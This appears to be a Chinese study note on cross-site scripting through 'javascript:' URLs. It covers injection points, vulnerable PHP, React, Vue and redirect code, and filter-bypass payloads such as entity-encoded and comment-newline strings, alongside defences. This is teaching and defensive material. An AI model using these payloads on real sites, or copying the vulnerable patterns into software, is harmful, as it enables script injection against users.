2.Javascript伪协议

where

  1. href: <a href=javascript:alert(1)>Link</a>

  2. iframe: <iframe src=javascript:alert(1)></iframe>

  3. form的action

<form action=javascript:alert(1)>  
<button>submit</button>  
</form>
  1. button的formaction

<form id=f2>  
</form>  
<button form=f2 formaction=javascript:alert(2)>submit</button>
  1. windows.location

window.location = 'javascript:alert(1)'

例子1:插入youtube视频

如果網站上有個功能可以讓使用者在發文時填入 YouTube 影片網址,並且在文章中自動嵌入

<iframe src="<?= $youtube_url ?>" width="500" height="300">
</iframe>
  1. javascript:alert(1);

  2. 绕过对youtube.com的检查:javascript:alert(1);console.log('youtube.com')

  3. 防御:正確方式是檢查網址是否為 YouTube 影片的格式,並且要確保網址是以 https:// 開頭

例子2:profile 頁面填入自己的 blog

后端代码

<a href="<?php echo htmlspecialchars($data) ?>">link</a>`

儘管把 <>"; 都做了編碼,沒辦法新增標籤,也沒辦法跳脫雙引號新增屬性,但攻擊者依舊可以插入 javascript:alert(1),因為這裡面完全沒有任何不合法的字元。

例3:

<a href="<?php echo htmlspecialchars($data) ?>">link</a>

React

現在的前端框架基本上都會自動幫你做好跳脫,沒有在 React 裡面使用 dangerouslySetInnerHTML 或是在 Vue 裡面使用 v-html 的話,基本上都是沒什麼問題的,但是 href 就不同了,理由同上,它的內容是沒問題的。

import React from 'react';

export function App(props) {
  // 假設底下的資料是來自於使用者
  const href = 'javascript:alert(1)'
  return (
    <a href={href}>click me</a>
  );
}

\ React 在 v16.9 的時候有針對這個行為新增警告,在文件裡面也有說明:Deprecating javascript: URLs,警告的內容是:

Warning: A future version of React will block javascript: URLs as a security precaution. Use event handlers instead if you can. If you need to generate unsafe HTML try using dangerouslySetInnerHTML instead.

在 React GitHub 的 issue 裡面也有更多的討論:

Vue

<script setup>
import { ref } from 'vue'

const link = ref('javascript:alert(1)')
</script>

<template>
  <a :href="link">click me</a>
</template>

URL Injection 如果要在前端處理的話,有提到可以用 sanitize-url 這一套 library。

页面跳转

const searchParams = new URLSearchParams(location.search)
window.location = searchParams.get('redirect')

payload:

window.location = 'javascript:alert(document.domain)'

例子:

/**
 * Redirect to "?target=" or fallback URL with page reload.
 *
 * (works on CSR)
 */
export const redirectToTarget = ({
  fallback = 'current',
}: {
  fallback?: 'homepage' | 'current'
} = {}) => {
  const fallbackTarget =
    fallback === 'homepage'
      ? `/` // FIXME: to purge cache
      : window.location.href
  const target = getTarget() || fallbackTarget

  window.location.href = decodeURIComponent(target)
}

在拿到 target 之後直接使用了:window.location.href = decodeURIComponent(target) 來做重新導向。而 getTarget 其實就是去 query string 把 target 的值拿出來。所以如果登入的網址是:https://matters.news/login?target=javascript:alert(1),在使用者按下登入並且成功之後,就會跳出一個 alert,觸發 XSS!

javascript过滤

HTML 裡面的屬性內容是可以經過編碼的 <a href="&#106avascript&colon;alert(1)">click me</a> <a href=&#74;&#97;&#118;&#97;&#83;&#99;&#114;&#105;&#112;&#116;:alert(1)>clickme</a>

http://验证

javascript:alert(http://)

javascript:alert@github.com/#://

编码:
javascript:alert%28%27Slonser%20was%20here%21%27%29%3B%2F%2F@github.com#;alert(10);://eow5kas78d0wlv0.m.pipedream.net%27

tg xss

防御

  1. 只允許 http://https:// 開頭的字串

  2. 利用 JavaScript 去解析 URL,根据 protocol 判斷是否為合法的協議,來阻擋名單之外的內容

console.log(new URL('javascript:alert(1)'))
/*
  {
    // ...
    href: "javascript:alert(1)",
    origin: "null",
    pathname: "alert(1)",
    protocol: "javascript:",
  }
*/
  1. target="_blank" 在Chrome 当你点了连结时,会新开一个网址为的about:blank#blocked分页,在Firefox 会新开一个没有网址的分页,在Safari 则是什么事情都不会发生,在这三个桌面浏览器上都不会执行JavaScript。

补充

而有个常见的错误判断方式一样会利用URL 来解析,但却是看hostname 或是origin 等等:

console.log(new URL('javascript:alert(1)'))
/* 
	{ 
		// ... 
		hostname: "", 
		host: "", 
		origin: null 
		} 
	*/

hostname或是host为空的时候,就代表是不合法的网址。这样的方式虽然乍看之下没问题,但我们可以利用//在JavaScript 中是注解的特性,搭配换行字元来做出一个看起来像网址,但其实是javascript: 伪协议的字串:

console.log(new URL('javascript://huli.tw/%0aalert(1)')) 
/* 
	{ 
		// ... 
		hostname: "", 
		host: "", 
		origin: null 
		} 
	*/

虽然看起来很像网址,但是在Chrome 上面没有问题,不会误判,可是Safari 就不同了,同样的程式码在Safari 16.3 上面执行,输出结果是:

console.log(new URL('javascript://huli.tw/%0aalert(1)'))
/*
  {
    // ...
    hostname: "huli.tw",
    host: "huli.tw",
    origin: "null"
  }
*/

链接

The curious case of XSS and the mouse middle button. Anchor Tag XSS Exploitation in Firefox with Target=”_blank”

Last updated